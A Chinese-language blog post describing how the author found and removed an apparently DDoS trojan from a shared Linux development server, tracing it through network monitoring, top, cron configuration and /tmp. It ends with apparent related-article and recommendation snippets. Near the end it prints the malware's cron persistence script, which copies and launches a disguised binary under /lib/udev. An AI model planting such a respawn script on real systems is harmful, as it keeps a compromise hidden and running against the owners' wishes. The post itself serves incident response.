1、起因

  因为这台服务器是我们公司内部开发服务器,几乎每个人都有root密码。在两天前突然有同事反馈说偶尔会有ssh连不上,git代码无法提交的问题,刚开始也没有在意,以为是阿里云服务器网络波动的原因。

  今天开发又像我反应redis连不上并且ssh也连不上,感觉事情没有想象的那么简单了,还好我在跳板机上能够远程连接上,所以就稍微看了一下。

2、处理过程

2.1 观察监控和服务器资源

  因为觉得不对劲,所以瞄了一眼监控,发现这台服务器eth0网卡的流量被跑满了,图在下面

  在服务器上通过ifconfig查看,发现eth0这个网卡已经被跑了好几个T的流量了。

  知道是因为网卡流量被跑满了,所以要看一下到底是什么进程跑掉的,于是ps -ef看了一下,发现进程真特么多完全没法一眼看出来,想了想既然跑那么多流量那一定也比较吃资源,决定top d1看一眼,不看不知道一看吓一跳,不多说了上图:

  这个pid为7796的进程吃了76.2%的CPU,这是要上天啊!!!

2.2 话不多说就是干

  二话不说直接kill -9 7796,然后试了一次ssh连接,果然好使,秒秒钟就连上了,然后观察监控,果然流量也下来了。

2.3 事情并没有这么简单

  然而事情并没有这么简单,我还没开始嘚瑟,流量又上去了,ssh也连不上了。

  这个还带满血复活的么?事情并不简单,top d1一看,又有一个不认识的进程起来了,还是那么的吃CPU。不管三七二十一又是一顿操作猛如虎秒秒钟杀了它。

  满血复活应该是有定时任务啊!!!其实我也不确定有没有,反正有想法总是好的,然后crontab -l看了一眼:

  并没有定时任务啊,果然能做这种缺德事的一般脑子都是比较灵光的。还好我看了一眼定时任务的配置文件:

  果然是定时任务的原因,然后赶紧把定时任务删了,把定时任务对应目录下的脚本自己down下来,然后删掉。

  说了没那么简单,果然真的没那么简单,之前的处理方式太草率了,以为把定时任务删掉之后就万事大吉了,结果没多久又开始了:

  这次我觉得慢慢来,看一下这个进程到底是哪里来的,已知进程pid为27894

  查看一下这个进程的具体目录在哪里:

  可以看到cwd -> /tmp,进入/tmp目录查看:

  该目录下游几个可执行文件,直接删掉!!!

3、硬是没总结出什么来

  关于这次的事件,具体是什么原因导致的我也没想明白,最大的可能就是root密码知道的人太多了。

  最后把两个脚本放上来,大家研究研究:

0anacron:

#!/bin/sh
# Check whether 0anacron was run today already
if test -r /var/spool/anacron/cron.daily; then
day=`cat /var/spool/anacron/cron.daily`
fi
if [ `date +%Y%m%d` = "$day" ]; then
exit 0;
fi # Do not run jobs when on battery power
if test -x /usr/bin/on_ac_power; then
/usr/bin/on_ac_power >/dev/null 2>&1
if test $? -eq 1; then
exit 0
fi
fi
/usr/sbin/anacron -s

cron.sh:

#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin
for i in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`; do ifconfig $i up& done
cp /lib/udev/udev /lib/udev/debug
/lib/udev/debug

参考:

清理了一个服务器 DDos 木马 - V2EX

Linux服务器中木马(肉鸡)手工清除方法 - -V - 博客园

Unix.Trojan.DDoS_XOR-1、Linux.Trojan.Agent(Linux.BackDoor.Gates.5)木马清理 - CSDN博客

一次Linux服务器被入侵和删除木马程序的经历-彩龙社区 - Powered by Discuz!

Linux服务器下Linux.BackDoor.Gates.5病毒的简单处理方法 - 小西瓜的管理和技术之路 - SegmentFault 思否

记一次阿里云linux病毒清理过程的更多相关文章

  1. 记一次阿里云Linux服务器安装.net core sdk的问题以及解决方法

    因为公司领导要求新的项目能跨平台部署,也就是说能部署到Linux服务器上,故新的项目采用了Asp.net mvc core 1.1 进行开发.开发过程一切都比较顺利,然后在之前申请试用的一台微软Azu ...

  2. 阿里云Linux安装软件镜像源

    阿里云Linux安装软件镜像源 阿里云是最近新出的一个镜像源.得益与阿里云的高速发展,这么大的需求,肯定会推出自己的镜像源.阿里云Linux安装镜像源地址:http://mirrors.aliyun. ...

  3. [分享]运维分享一一阿里云linux系统mysql密码修改脚本

    [分享]运维分享一一阿里云linux系统mysql密码修改脚本       大象吃豆子 级别: 小白 发帖 12 云币 27 加关注 写私信   只看楼主 更多操作楼主  发表于: 2014-09-3 ...

  4. 在阿里云Linux服务器上安装MySQL

    申请阿里云Linux服务器 昨天在阿里云申请了一个免费试用5天的Linux云服务器. 操作系统:Red Hat Enterprise Linux Server 5.4 64位. CPU:1核 内存:5 ...

  5. Xftp连接阿里云Linux,向Linux上传文件,Windows和Linux文件传输

    我之前是用SecureCRT连接阿里云Linux的,上传文件用的Alt+p快捷键,感觉不是很方便.后来朋友给我推荐了Xshell,感觉确实好用得很多. 传输文件用的是Xftp,今天在向我的个人网站发布 ...

  6. 阿里云Linux服务器安装 nginx+mysql+php

    阿里云Linux服务器安装 nginx+mysql+php步骤1.登录服务器2.下载安装包3.将安装包上传到服务器的/home目录下 注:使用rz sz命令进行本地和服务器间的上传.下载,安装命令yu ...

  7. 阿里云linux图形界面(centos6)

    阿里云linux图形界面的安装方法:安装gnome图形化桌面#yum groupinstall -y "X Window System"#yum groupinstall -y & ...

  8. 阿里云Linux服务器初探

    阿里云Linux服务器初探 阿里云Linux服务器初探 因为钱包的关系,本人买了一个660元2年的1核1GB的小服务器(centos是Linux的发行版),在当初是用2核4GB(内存)的时候使用的是w ...

  9. 阿里云Linux CentOS 7 Docker部署使用gogs搭建自己的git服务器

    一.前言 Git是目前优秀和流行的源代码管理工具.而GitHub是一个面向开源及私有软件项目的托管云平台,但开源免费,私有收费.而公司出于商业化等目的需要搭建自己的源代码托管服务器.通过网上了解Gog ...

随机推荐

  1. Django模型层

    ORM简介: MVC或者MTV框架中包括一个重要的部分就是ORM,它实现了数据模型与数据库的解耦,即数据模型的设计不需要依赖特定的数据库,通过简单的配置就可以轻松更换数据库,这极大的减轻了开发人员的工 ...

  2. 修改tomcat端口后不能IP访问问题

    当tomcat端口被修改以后使用IP访问会发生404的问题,只能通过localhost进行访问,当别人想访问你tomcat下的工程时就会访问失败,此时修改eclipse下的tomcat中的server ...

  3. C++获取本机的ip地址程序

    #include <WinSock2.h> #pragma comment(lib,"ws2_32") //链接到ws2_32动态链接库 class CInitSock ...

  4. 检测客户端系统-PHP

    if(isset($_SERVER['HTTP_USER_AGENT'])) { $userAgent = strtolower($_SERVER['HTTP_USER_AGENT']); $clie ...

  5. C# 重构

    重构是在编写代码后在不更改代码的外部行为的前提下通过更改代码的内部结构来改进代码的过程. 一.何时需要重构 1.代码中存在重复的代码: 如果类中有重复的代码块,需将其提炼出一个新的独立方法,如果是不同 ...

  6. 全景之HDR

    全景之HDR拍摄 全景HDR流程: 1.相机拍摄 1.1  HDR拍摄 HDR拍摄需要拍摄不同曝光度的多张图片. 1.2 摄像师消去 需要摄像师在不同位置(一般为相机的两面),拍摄两次HDR. 注意: ...

  7. leetcode413

    public class Solution { public int NumberOfArithmeticSlices(int[] A) { , sum = ; ; i < A.Length; ...

  8. Myeclipse报错:“Versions of Spring facet could not be detected”的解决方法

    解决方法如下: VERSION OF SPRING FACET COULD NOT BE DETECTED. The migration process needs to detect the cor ...

  9. iOS开发基础控件--UIButton

    01 //这里创建一个圆角矩形的按钮 02     UIButton *button1 = [UIButton buttonWithType:UIButtonTypeRoundedRect]; 03 ...

  10. shell编程——流控制case和select

    在shell编程里有时候需要出现交换界面,让使用者来选择要执行的功能,如下面所示,这时候就需要用到case和select进行配合 请选择功能: 1) 退出 2) 系统升级 3) 防火墙配置 4) to ...